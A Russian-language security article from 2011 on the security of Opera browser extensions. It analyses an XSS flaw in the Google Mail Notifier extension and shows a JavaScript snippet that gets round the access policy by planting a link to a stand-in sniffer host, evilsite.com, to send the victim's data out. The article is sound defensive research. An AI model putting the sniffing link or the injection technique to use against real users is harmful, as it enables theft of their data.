| Authors: | Тарас Иващенко |
|---|---|
| Contact: | http://oxdef.info |
| Date: | 2011-12-03 |
| Copyright: | This work is licensed under a Creative Commons Attribution-Share Alike 3.0 Unported License |
Давайте продолжим изучать возможные риски безопасности в случае использования так привычных для нас веб-технологий при создании расширений к веб-браузеру. В этому выпуске мы повнимательнее рассмотрим недавно анонсированные расширения в одном из самых популярных в СНГ веб-браузеров Опере.
Opera - без прекрасн, один из самых мощных на сегодняшний день веб-браузеров. Быстрые JavaScript-движок и движок рендеринга веб-страниц. По сути, это интернет-комбайн, который включает в себя собственно веб-браузер, почтовый клиент, IRC, торрент-клиент и другое (многие из вас ещё помнят её давнего конкурента Mozilla Suite). Но время интернет-комбайнов прошло и сейчас миром правят веб-браузеры (да-да, я помню про всем известный браузер от всем известной корпорации :), функциональность которых легко расширяется за счёт дополнений. Популярность Mozilla Firefox и GoogleChrome - тому пример. Так что разработчики Opera тоже решили не отставать и не давно добавили механизм расширений в свой веб-бразуров (хотя и немного странная технология виджетов у них достаточно давно).
Opera logo
Opera/9.80 (X11; Linux i686; U; en) Presto/2.7.62 Version/11.01
Расширения в Opera очень похожи на аналогичные решения в Google Chrome. При их создании также используются популярные веб-технологии, такие как HTML, CSS и JavaScript, а сами по себе они базируются на давно используемой при создании виджетов спецификации W3C Widgets specification. Архитектура достаточно подробно описана в статье Криса Милса (Chris Mills) "What's in an Opera extension?" [1] (ссылку ищи в разделе WWW).
Но, если говорить коротко, то обычно расширение в Opera состоит из следующих частей, некоторые из которых опциональные:
Эти главные составляющие расширения взаимодействуют между собой посредствам механизма междокументных сообщений:
Injected script <-> Background Process <-> Button/badge <-> Popup
Все эти части, за исключением 'Button/badge', имеют доступ к "своему" специальному Opera Extensions API:
| [1] | "What's in an Opera extension?" by Chris Mills, http://dev.opera.com/articles/view/whats-in-an-opera-extension/ |
При первом же рассмотрении можно увидеть разницу между Opera и Google Chrome в контексте взаимодействия расширения с внешними ресурсами (картинки, формы и т.п.). Возьмём для примера расширение для оповещения о новых письмах Google Mail Notifier. Удивительно, но как и подобном расширении для Google Chrome, тут нашлась уязвимость - небезопасное использование входных данных, которое может привести к атакам вида XSS.
В нашем случае зломышленник посылает жертве специальным образом сформированное письмо с зловредной нагрузкой в поле темы или теле письма. Когда жертва получит письмо и расширение оповестит его об этом, сработает нагрузка.
Ограниченная XSS в Google Mail Notifier
Покопаемся в расширении, благо дело в силу используемых технологий они в основном с доступными исходными кодами, и обнаружим уязвимый участок кода (js/menu.js):
...
// Check if there are Messages to display
if(event.data.msg && event.data.msg.length > 0)
{
// Add every message
for(var i=0; i < event.data.msg.length; i++)
{
var tooltip = "<div class='tooltip'><p><u>"+ lang.popup_to + " " +
event.data.msg[i].sendermail + "</u><br/>" +
lang.popup_from + " " + event.data.msg[i].authormail +
"<br/><br/></p><p>" + event.data.msg[i].summary + "</p>"
var msg = $('<div></div>').addClass('message').attr("title", tooltip).tooltip({
left: -15
})
.html("<strong>" + event.data.msg[i].authorname + "</strong> : " + event.data.msg[i].title).click({
link: event.data.msg[i].link
}, LoadLink);
$('#message_box').append(msg);
...
Явно видно, что при формировании списка писем соответствующие параметры письма используются без всякой обработки и вставляются прямо в HTML-код. Типичное место возможного внедрения зловредного кода в расширениях (в Opera и Google Chrome) - это страница всплывающего окна, которая обычно формируется фоновым скриптом на основе входных данных, которыми могут быть, например, RSS-потоки или информация об непрочитанных электронных письмах. Имхо, в реальном мире при аудите безопасности расширения этими сценариями не стоит ограничиваться. Вполне вероятным может быть и небезопасное использование так полюбившегося веб-разработчикам формата JSON! Традиционно опасным считается использование в таких случаях функции исполнения JavaScript-кода, то есть eval, например вот так:
var msg = eval("(" + response_text + ")");
вместо того, что бы использовать специальное API для разбора JSON-сообщений
var msg = JSON.parse(response_text);
В таких случаях зловредная нагрузка может быть исполнена уже в контексте фонового скрипта, что влечёт более тяжкие последствия.
Одной из самых популярных целей для XSS-атак является похищение аутентификационных данных в виде, например, сессионных кук. В настоящий момент разработчики Opera не предусмотрели возможность доступа к основному хранилищу кук веб-браузера (как это сделано в Google Chrome), а у каждого расширение, как бы, свои куки. Но это вполне вероятно скоро может измениться под напором просьб разработчиков расширений. Следующие данные, доступные из расширения, могут быть интересны злоумышленнику при проведении им XSS-атаки:
Вариант эксплуатации дырки в виде фишинг-атаки
Обычно для того, что бы передать данные со стороны жертвы, злоумышленник использует т.н. снифер - например, просто внедряет с помощью JavaScript картинку с адресом, включающем данные из объекта document.cookie в качестве параметров. В случае с расширением в Opera такой трюк так просто не пройдёт в силу политики безопасности по умолчанию:
In the default policy, a user agent must deny access to network resources external to the widget by default, whether this access is requested through APIs (e.g. XMLHttpRequest) or through markup (e.g. iframe, script, img). [2]
Наше тестируемое расширение имеет следующие правила доступа к внешним ресурсам в файле конфигурации:
... <!-- Access Policy --> <access origin="https://mail.google.com"/> <access origin="https://www.google.com"/> ...
Элемент <access> даёт возможность авторам расширений явным образом обозначить с какими внешними ресурсами расширение собирается работать. Это значит, что если, например, расширению требуется просто показать картинку с внешнего ресурса, то необходимо это указать в этой опции! Для демонстрации в тестируемом расширении пришлось использовать логотип Google с хоста www.google.com, который подпадает под эти правила доступа. При этом есть 2 случая, которые стоит учитывать злоумышленнику в рамках XSS-атаки:
Но есть и другой трюк, который можно провернуть - можно сделать ссылку либо другой интерактивный элемент пользовательского интерфейса с необходимым адресом. Когда жертва кликнет по ссылке и перейдёт на сайт злоумышленника, последний получит требуемые данные:
//...
var a = document.createElement('a');
var d = document.getElementById('open');
a.href = "http://evilsite.com/sniff.php?d=...";
a.id = "foo";
a.innerText = 'Open GMail Tab';
d.parentNode.replaceChild(a, d);
Обход правил доступа в расширении Google Mail Notifier для посылки полученных данных
| [2] | "Widget Access Request Policy", http://www.w3.org/TR/widgets-access/ |
В противовес Google Chrome Opera не позволяет расширениям явным образом взаимодействовать между собой. У меня было предположение, что внедряемые скрипты, будучи развитием популярной технологий пользовательских скриптов UserJS и всё-таки могут взаимодействовать через общий документ, в который они внедряются:
User JavaScript runs on the global scope, meaning everything that is declared in a script will be shared with the Web page. As such, it is recommended to wrap your script with an anonymous function to protect the script's own data.
Но судя по всему разработчики Opera решили подкрутить безопасность и в этой части и у меня не получилось добиться того, что бы из одного внедрённого скрипта прочитать данные (значения переменных) другого, загруженного перед ним, в рамках общего DOM. Ни одна попытка не оказалась удачной. Получается, что остаётся только одна попытка навредить из одного расширения другому - подпортить страницу, с которой оба взаимодействуют
Расширения в Opera имеют очень похожую архитектуру, что и в Google Chrome. Более того, даже уязвимости в них встречаются такие же. В тоже время, в силу изначально закрученных гаек в подсистеме безопасности, либо попросту из-за того, что что-то из критичной функциональности (доступ к кукам браузера, истории и закладкам) не реализовано, злоумышленнику сложнее эксплуатировать найденные в расширениях Opera уязвимости.